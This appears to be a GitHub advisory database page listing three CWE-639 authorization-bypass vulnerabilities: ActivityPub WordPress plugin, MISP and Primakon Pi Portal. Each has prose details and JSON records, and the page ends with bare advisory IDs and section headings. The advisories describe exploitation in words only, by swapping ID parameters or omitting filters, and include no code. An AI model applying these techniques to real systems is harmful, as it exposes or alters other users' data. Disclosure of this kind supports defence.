GHSA-MC66-GQXJ-PWMG

Vulnerability from github – Published: 2023-10-16 21:30 – Updated: 2024-04-04 08:41

Details

The ActivityPub WordPress plugin before 1.0.0 does not ensure that post titles to be displayed are public and belong to the plugin, allowing any authenticated user, such as subscriber to retrieve the title of arbitrary post (such as draft and private) via an IDOR vector

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2023-3706"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-16T20:15:14Z",
    "severity": "MODERATE"
  },
  "details": "The ActivityPub WordPress plugin before 1.0.0 does not ensure that post titles to be displayed are public and belong to the plugin, allowing any authenticated user, such as subscriber to retrieve the title of arbitrary post (such as draft and private) via an IDOR vector",
  "id": "GHSA-mc66-gqxj-pwmg",
  "modified": "2024-04-04T08:41:21Z",
  "published": "2023-10-16T21:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3706"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/daa4d93a-f8b1-4809-a18e-8ab63a05de5a"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MF7V-X7R6-FQ57

Vulnerability from github – Published: 2026-06-22 12:32 – Updated: 2026-06-22 12:32

Details

Multiple MISP core controllers and model capture paths accepted client-controlled request fields such as primary keys (id) and ownership/scope foreign keys (event_id, org_id, user_id, sharing_group_id, galaxy_cluster_uuid, organisation_uuid, and related nested object identifiers) without consistently stripping, pinning, or revalidating them against the server-authorized object.

In affected paths, an authenticated user with access to one authorized object could submit crafted REST or form payloads that caused MISP to save data against a different object than the one checked by the authorization logic. Depending on the endpoint, this could allow object overwrite, object re-parenting, ownership transfer, unauthorized sharing-group scoping, event/object injection, proposal retargeting, or stored attacker-controlled content appearing in another user’s context.

The fixes harden affected create/edit/import flows by stripping client-supplied primary keys on create-only saves, re-pinning route- or database-authorized identifiers before save operations, validating effective sharing-group scope, and adding field whitelists where ownership fields must never be editable. The initial broad fix also added a central CRUDComponent::edit() primary-key re-pin so payload-supplied IDs cannot redirect saves away from the already-authorized row. GitHub’s patch for 7acf8220c describes this central issue as CRUDComponent::edit() copying supplied fields, including a payload primary key, onto the loaded record, allowing CakePHP save() to update an arbitrary row unless the loaded ID is re-pinned.

Severity

9.4 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-56422"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-22T12:16:26Z",
    "severity": "CRITICAL"
  },
  "details": "Multiple MISP core controllers and model capture paths accepted client-controlled request fields such as primary keys (id) and ownership/scope foreign keys (event_id, org_id, user_id, sharing_group_id, galaxy_cluster_uuid, organisation_uuid, and related nested object identifiers) without consistently stripping, pinning, or revalidating them against the server-authorized object.\n\nIn affected paths, an authenticated user with access to one authorized object could submit crafted REST or form payloads that caused MISP to save data against a different object than the one checked by the authorization logic. Depending on the endpoint, this could allow object overwrite, object re-parenting, ownership transfer, unauthorized sharing-group scoping, event/object injection, proposal retargeting, or stored attacker-controlled content appearing in another user\u2019s context.\n\nThe fixes harden affected create/edit/import flows by stripping client-supplied primary keys on create-only saves, re-pinning route- or database-authorized identifiers before save operations, validating effective sharing-group scope, and adding field whitelists where ownership fields must never be editable. The initial broad fix also added a central CRUDComponent::edit()\u00a0primary-key re-pin so payload-supplied IDs cannot redirect saves away from the already-authorized row. GitHub\u2019s patch for 7acf8220c\u00a0describes this central issue as CRUDComponent::edit()\u00a0copying supplied fields, including a payload primary key, onto the loaded record, allowing CakePHP save()\u00a0to update an arbitrary row unless the loaded ID is re-pinned.",
  "id": "GHSA-mf7v-x7r6-fq57",
  "modified": "2026-06-22T12:32:02Z",
  "published": "2026-06-22T12:32:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56422"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MISP/MISP/commit/c80a3533b3d787f45f5185a4621cc0f05b0cf2e5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MISP/MISP/commit/bc182d55dde5686a36ca2eb88fe6c2adabb9fad9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MISP/MISP/commit/ab9619dfa6cb5210fd20fb3b0b57006e4fc93916"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MISP/MISP/commit/9341690e9b6dde7f0605edea5533e05ba7362e35"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MISP/MISP/commit/84bafe69f5d0ab7f811371c0801a613f271ebc0b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MISP/MISP/commit/8311427c2edd72a8341f0a65e1f11073d7ad9191"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MISP/MISP/commit/7acf8220cafac58bcfb362da37aca512fe4bb396"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MISP/MISP/commit/63aebc27a878233b9475c742985aaef909bc755b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MISP/MISP/commit/634f1f87c295193486c08c2c7ba1fee8a7339baa"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MISP/MISP/commit/58f637aaab4d133e72f1454ebb963191d96d3b78"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MISP/MISP/commit/57433015815e59db5a1f11536f90920952cf3fcd"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MISP/MISP/commit/3ff6bd9cfdab5d41b4667ea7298d88ffd6f3fcb8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MISP/MISP/commit/2cc26f38f3e85c594957899f09043d5193146607"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MISP/MISP/commit/05aad418c57bb78e6b58a843d70d45de8f50db45"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MISP/MISP/commit/025f711506850aadb69cde1b57e5e5d57628c87f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MISP/MISP/commit/00b2e3dae56fa24ea750eb525cc4709b7e5bee85"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-MF87-R67V-2M82

Vulnerability from github – Published: 2025-11-25 21:32 – Updated: 2025-11-25 21:32

Details

Primakon Pi Portal 1.0.18 API endpoints responsible for retrieving object-specific or filtered data (e.g., user profiles, project records) fail to implement sufficient server-side validation to confirm that the requesting user is authorized to access the requested object or dataset. This vulnerability can be exploited in two ways: Direct ID manipulation and IDOR, by changing an ID parameter (e.g., user_id, project_id) in the request, an attacker can access the object and data belonging to another user; and filter Omission, by omitting the filtering parameter entirely, an attacker can cause the endpoint to return an entire unfiltered dataset of all stored records for all users. This flaw leads to the unauthorized exposure of sensitive personal and organizational information.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-64067"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-25T19:15:50Z",
    "severity": "MODERATE"
  },
  "details": "Primakon Pi Portal 1.0.18 API endpoints responsible for retrieving object-specific or filtered data (e.g., user profiles, project records) fail to implement sufficient server-side validation to confirm that the requesting user is authorized to access the requested object or dataset. This vulnerability can be exploited in two ways: Direct ID manipulation and IDOR, by changing an ID parameter (e.g., user_id, project_id) in the request, an attacker can access the object and data belonging to another user; and filter Omission, by omitting the filtering parameter entirely, an attacker can cause the endpoint to return an entire unfiltered dataset of all stored records for all users. This flaw leads to the unauthorized exposure of sensitive personal and organizational information.",
  "id": "GHSA-mf87-r67v-2m82",
  "modified": "2025-11-25T21:32:06Z",
  "published": "2025-11-25T21:32:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64067"
    },
    {
      "type": "WEB",
      "url": "https://github.com/n3k7ar91/Vulnerabilites/blob/main/Primakon/CVE-2025-64067.md"
    },
    {
      "type": "WEB",
      "url": "https://www.primakon.com/rjesenja/primakon-pcm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

CWE-639

Authorization Bypass Through User-Controlled Key

GHSA-M839-RVVG-G25R

GHSA-M855-R557-5RC5

Summary

Details

PoC

Impact

Remediation

Resources

GHSA-M8H7-PFF8-M5JQ

GHSA-M8HX-3Q8C-M23R

GHSA-M8PW-9FX4-MVPR

GHSA-M98R-6667-4WQ7

Impact

Patches

Workarounds

Root cause

Affected endpoints

Credits

Resources

GHSA-M9CH-6HH2-GC9W

GHSA-MC66-GQXJ-PWMG

GHSA-MF7V-X7R6-FQ57

GHSA-MF87-R67V-2M82

Mitigation

Mitigation

Mitigation